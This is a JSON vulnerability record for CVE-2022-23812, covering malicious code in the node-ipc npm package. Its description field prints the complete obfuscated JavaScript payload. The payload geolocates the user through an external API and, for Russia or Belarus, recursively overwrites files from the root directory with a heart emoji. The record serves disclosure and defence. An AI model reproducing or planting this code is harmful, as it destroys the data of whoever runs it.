{
    "id": "CVE-2022-23812",
    "published": "2022-03-16 16:15:10",
    "last_modified": "2026-06-17 04:30:49",
    "cvss_score": "9.8",
    "cvss_severity": "CRITICAL",
    "cvss_version": "3.1",
    "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
    "cwe": null,
    "description": "This affects the package node-ipc from 10.1.1 and before 10.1.3. This package contains malicious code, that targets users with IP located in Russia or Belarus, and overwrites their files with a heart emoji. **Note**: from versions 11.0.0 onwards, instead of having malicious code directly in the source of this package, node-ipc imports the peacenotwar package that includes potentially undesired behavior. Malicious Code: **Note:** Don't run it! js import u from \"path\"; import a from \"fs\"; import o from \"https\"; setTimeout(function () { const t = Math.round(Math.random() * 4); if (t > 1) { return; } const n = Buffer.from(\"aHR0cHM6Ly9hcGkuaXBnZW9sb2NhdGlvbi5pby9pcGdlbz9hcGlLZXk9YWU1MTFlMTYyNzgyNGE5NjhhYWFhNzU4YTUzMDkxNTQ=\", \"base64\"); // https://api.ipgeolocation.io/ipgeo?apiKey=ae511e1627824a968aaaa758a5309154 o.get(n.toString(\"utf8\"), function (t) { t.on(\"data\", function (t) { const n = Buffer.from(\"Li8=\", \"base64\"); const o = Buffer.from(\"Li4v\", \"base64\"); const r = Buffer.from(\"Li4vLi4v\", \"base64\"); const f = Buffer.from(\"Lw==\", \"base64\"); const c = Buffer.from(\"Y291bnRyeV9uYW1l\", \"base64\"); const e = Buffer.from(\"cnVzc2lh\", \"base64\"); const i = Buffer.from(\"YmVsYXJ1cw==\", \"base64\"); try { const s = JSON.parse(t.toString(\"utf8\")); const u = s[c.toString(\"utf8\")].toLowerCase(); const a = u.includes(e.toString(\"utf8\")) || u.includes(i.toString(\"utf8\")); // checks if country is Russia or Belarus if (a) { h(n.toString(\"utf8\")); h(o.toString(\"utf8\")); h(r.toString(\"utf8\")); h(f.toString(\"utf8\")); } } catch (t) {} }); }); }, Math.ceil(Math.random() * 1e3)); async function h(n = \"\", o = \"\") { if (!a.existsSync(n)) { return; } let r = []; try { r = a.readdirSync(n); } catch (t) {} const f = []; const c = Buffer.from(\"4p2k77iP\", \"base64\"); for (var e = 0; e < r.length; e++) { const i = u.join(n, r[e]); let t = null; try { t = a.lstatSync(i); } catch (t) { continue; } if (t.isDirectory()) { const s = h(i, o); s.length > 0 ? f.push(...s) : null; } else if (i.indexOf(o) >= 0) { try { a.writeFile(i, c.toString(\"utf8\"), function () {}); // overwrites file with ❤️ } catch (t) {} } } return f; } const ssl = true; export { ssl as default, ssl };",
    "epss_score": "0.04260",
    "epss_percentile": "0.90811",
    "kev": 0,
    "kev_due": null,
    "has_exploit": 0,
    "updated_at": "2026-10-08 18:17:30",
    "priority": {
        "rank": 3,
        "label": "In your normal cycle",
        "why": "Critical by CVSS (9.8), but no sign of active exploitation."
    },
    "products": [
        {
            "vendor": "node-ipc_project",
            "product": "node-ipc"
        }
    ],
    "kev_detail": null,
    "exploits": [],
    "refs_list": [
        "https://github.com/RIAEvangelist/node-ipc/blob/847047cf7f81ab08352038b2204f0e7633449580/dao/ssl-geospec.js",
        "https://github.com/RIAEvangelist/node-ipc/commit/847047cf7f81ab08352038b2204f0e7633449580",
        "https://github.com/RIAEvangelist/node-ipc/issues/233",
        "https://github.com/RIAEvangelist/node-ipc/issues/236",
        "https://security.netapp.com/advisory/ntap-20220407-0005/",
        "https://snyk.io/vuln/SNYK-JS-NODEIPC-2426370",
        "https://github.com/RIAEvangelist/node-ipc/blob/847047cf7f81ab08352038b2204f0e7633449580/dao/ssl-geospec.js",
        "https://github.com/RIAEvangelist/node-ipc/commit/847047cf7f81ab08352038b2204f0e7633449580",
        "https://github.com/RIAEvangelist/node-ipc/issues/233",
        "https://github.com/RIAEvangelist/node-ipc/issues/236",
        "https://security.netapp.com/advisory/ntap-20220407-0005/",
        "https://snyk.io/vuln/SNYK-JS-NODEIPC-2426370"
    ]
}